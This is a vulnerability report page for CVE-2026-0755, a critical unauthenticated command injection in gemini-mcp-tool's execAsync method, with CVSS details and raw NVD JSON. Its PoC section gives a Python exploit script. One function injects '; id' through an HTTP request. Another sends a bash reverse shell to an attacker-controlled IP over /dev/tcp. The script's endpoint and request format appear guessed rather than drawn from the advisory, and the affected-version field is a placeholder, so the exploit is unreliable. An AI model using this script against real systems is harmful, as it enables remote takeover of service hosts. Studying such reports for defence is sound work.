Security Vulnerability Report
中文
CVE-2026-0755 CVSS 9.8 CRITICAL

CVE-2026-0755

Published: 2026-01-23 04:16:02
Last Modified: 2026-04-15 00:35:42

Description

gemini-mcp-tool execAsync Command Injection Remote Code Execution Vulnerability. This vulnerability allows remote attackers to execute arbitrary code on affected installations of gemini-mcp-tool. Authentication is not required to exploit this vulnerability. The specific flaw exists within the implementation of the execAsync method. The issue results from the lack of proper validation of a user-supplied string before using it to execute a system call. An attacker can leverage this vulnerability to execute code in the context of the service account. Was ZDI-CAN-27783.

CVSS Details

CVSS Score
9.8
Severity
CRITICAL
CVSS Vector
CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

gemini-mcp-tool < 修复版本
gemini-mcp-tool 所有版本均受影响

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import json # CVE-2026-0755 PoC - Command Injection in gemini-mcp-tool execAsync # Target: gemini-mcp-tool with vulnerable execAsync method TARGET_URL = "http://target-host:8080/execAsync" def exploit(target_url): """ Execute arbitrary command via command injection vulnerability """ # Malicious payload to execute 'id' command payload = { "command": "; id", "params": {} } try: response = requests.post( target_url, json=payload, headers={"Content-Type": "application/json"}, timeout=10 ) print(f"Status: {response.status_code}") print(f"Response: {response.text}") except requests.exceptions.RequestException as e: print(f"Request failed: {e}") def reverse_shell(target_url, attacker_ip, attacker_port): """ Establish reverse shell connection attacker_ip: Attacker controlled IP attacker_port: Attacker listening port """ payload = { "command": f"| bash -i >& /dev/tcp/{attacker_ip}/{attacker_port} 0>&1", "params": {} } try: response = requests.post( target_url, json=payload, headers={"Content-Type": "application/json"}, timeout=10 ) print(f"Reverse shell payload sent to {target_url}") except requests.exceptions.RequestException as e: print(f"Request failed: {e}") if __name__ == "__main__": # Test basic command injection exploit(TARGET_URL)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-0755", "sourceIdentifier": "[email protected]", "published": "2026-01-23T04:16:02.017", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "gemini-mcp-tool execAsync Command Injection Remote Code Execution Vulnerability. This vulnerability allows remote attackers to execute arbitrary code on affected installations of gemini-mcp-tool. Authentication is not required to exploit this vulnerability.\n\nThe specific flaw exists within the implementation of the execAsync method. The issue results from the lack of proper validation of a user-supplied string before using it to execute a system call. An attacker can leverage this vulnerability to execute code in the context of the service account. Was ZDI-CAN-27783."}, {"lang": "es", "value": "Vulnerabilidad de inyección de comandos y ejecución remota de código en gemini-mcp-tool execAsync. Esta vulnerabilidad permite a atacantes remotos ejecutar código arbitrario en instalaciones afectadas de gemini-mcp-tool. No se requiere autenticación para explotar esta vulnerabilidad.\n\nLa falla específica existe dentro de la implementación del método execAsync. El problema resulta de la falta de validación adecuada de una cadena proporcionada por el usuario antes de usarla para ejecutar una llamada al sistema. Un atacante puede aprovechar esta vulnerabilidad para ejecutar código en el contexto de la cuenta de servicio. Fue ZDI-CAN-27783."}], "metrics": {"cvssMetricV30": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.0", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-78"}]}], "references": [{"url": "https://www.zerodayinitiative.com/advisories/ZDI-26-021/", "source": "[email protected]"}]}}